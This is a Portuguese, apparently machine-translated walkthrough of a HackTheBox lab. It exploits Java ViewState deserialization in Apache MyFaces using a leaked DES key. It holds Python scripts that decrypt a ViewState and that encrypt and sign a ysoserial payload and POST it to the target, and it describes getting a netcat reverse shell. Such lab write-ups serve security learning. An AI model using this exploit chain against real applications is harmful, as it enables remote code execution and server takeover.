Neste artigo, consideramos uma vulnerabilidade baseada na falsificação de um objeto Java ViewState serializado e seu método de operação como um exemplo de aplicativo da Web de uma máquina virtual com o HackTheBox usando a tecnologia Apache MyFaces.

O JavaServer Faces (JSF) é uma plataforma de desenvolvimento de interface com o usuário para aplicativos da web Java. O JSF usa o parâmetro ViewState para armazenar o estado atual da página (por exemplo, quais elementos da página devem ser exibidos no momento).
(Formulário HTML para envio de dados)

ViewState é um objeto Java serializado que é incorporado automaticamente no formulário HTML como um campo oculto com o nome javax.faces.ViewState. Ao enviar dados do formulário, vemos que o parâmetro ViewState também é enviado. E como é um objeto serializado, provavelmente podemos tentar executar o comando do lado do servidor (RCE) usando nosso próprio objeto serializado cobrado, que contém a carga útil.
(Para quem quiser se aprofundar neste tópico, recomendo a leitura deste material aqui ).
Então, vamos começar. Este artigo analisará uma vulnerabilidade e método semelhantes.
sua operação no exemplo de um aplicativo Web de uma máquina virtual vulnerável
com o
HackTheBox usando a tecnologia
Apache MyFaces .
Na configuração do Apache MyFaces, é possível ativar a criptografia do componente ViewState (em nosso exemplo, a criptografia DES-ECB é usada), o que aumentará a segurança do aplicativo.
Se a criptografia estiver desativada, precisamos enviar o objeto serializado através do componente ViewState para executar o comando no lado do servidor. Mas e se o aplicativo Web usar criptografia e a chave estiver comprometida? Isso complica um pouco a tarefa, vamos ver como estar nessa situação.
Conseguimos encontrar um backup com os arquivos de configuração de aplicativos da web:

Ótimo! Agora sabemos SECRET, MAC_ALGORITHM, MAC_SECRET.
Vá para a documentação oficial.
Aqui e
aqui .

Depois de digerir as informações recebidas, tentaremos descriptografar o ViewState. Para isso
usando o Decoder BurpSuite, vamos trazê-lo para sua forma normal e escrever um pequeno script Python:

Script Pythonimport base64 from Crypto.Cipher import DES import urllib def pad(data): if len(data) % 8: for n in xrange(len(data)): if ((len(data) + n) % 8) == 0: data += chr(n) * n break return data key = b'SnNGOTg3Ni0=' key = base64.b64decode(key) cipher = DES.new(key, DES.MODE_ECB) enctext = b'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE='
A saída é:

Este é um objeto serializado que contém uma assinatura HmacSHA1 para verificação de integridade.
Vamos começar a criar o VIEWSTATE "cobrado".
Para criar uma carga serializada, usaremos a ferramenta
ysoserial
(Vou tentar fazer ping (ip: 10.10.14.11) no servidor)Após
ysoserial, nossa carga útil fica assim:

Mas o simples envio deste formulário não funcionará, já sabemos que o servidor usa autenticação baseada no algoritmo HmacSHA1, criptografia DES-ECB e como o final "envolve" tudo isso na base64. Vamos automatizar tudo isso escrevendo um script Python (obrigado
be_a_saint ).
Outro script Python import base64 from Crypto.Cipher import DES import hmac import hashlib import socket import os import urllib def padding_append(data): if len(data) % 8: for n in xrange(len(data)): if ((len(data) + n) % 8) == 0: data += chr(n) * n break return data def encrypt_viewstate(viewstate, secret): secret = base64.b64decode(secret) des = DES.new(secret, DES.MODE_ECB) viewstate = padding_append(viewstate) viewstate = [viewstate[n:n+8] for n in xrange(0, len(viewstate), 8)] viewstate = "".join(map(des.encrypt, viewstate)) viewstate += hmac.new(secret, viewstate, hashlib.sha1).digest() viewstate = base64.b64encode(viewstate) return viewstate def create_payload(): with open('payload_ping.ser', 'r') as fi: payload_ping = fi.read() payload = encrypt_viewstate(payload_ping, "SnNGOTg3Ni0=") payload = urllib.quote(payload.encode("ascii")) return payload victim_url = "http://127.0.0.1:8081/userSubscribe.faces" post_data = "j_id_jsp_1623871077_1%3Aemail=test%40hello.com&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState=" payload = create_payload() os.system('curl -d \"' + post_data + payload + '\" -H \"Content-Type: application/x-www-form-urlencoded\" -X POST ' + victim_url)
Depois de configurar um redirecionamento no BurpSuite, podemos ver o resultado da execução do script - nossa carga útil:

Abra o Wireshark, no BurpSuite, clique em Forward e pegue os pacotes ICMP recebidos,
o que indica a conclusão bem-sucedida de nossa carga no servidor.

Outro pequeno exemplo da carga útil e seu resultado.


Da mesma forma, a carga útil foi bem-sucedida.
E se algo é mais sério? Ok, vamos preencher o servidor netcat e obter um shell reverso para nós mesmos:

Feito! Recebeu o shell em nome do serviço web, então o assunto é enumeração
e escalonamento de privilégios.
A exploração dessa vulnerabilidade tornou-se possível como resultado do recebimento de SEGREDOS do servidor, portanto, a conclusão sugere que, apesar de todas as medidas tomadas para proteger o código / aplicativo, um dos critérios de segurança mais importantes continua sendo a confidencialidade dos dados confidenciais do aplicativo (senhas, arquivos de configuração, backups etc.). d.).
Isso é tudo, obrigado por assistir!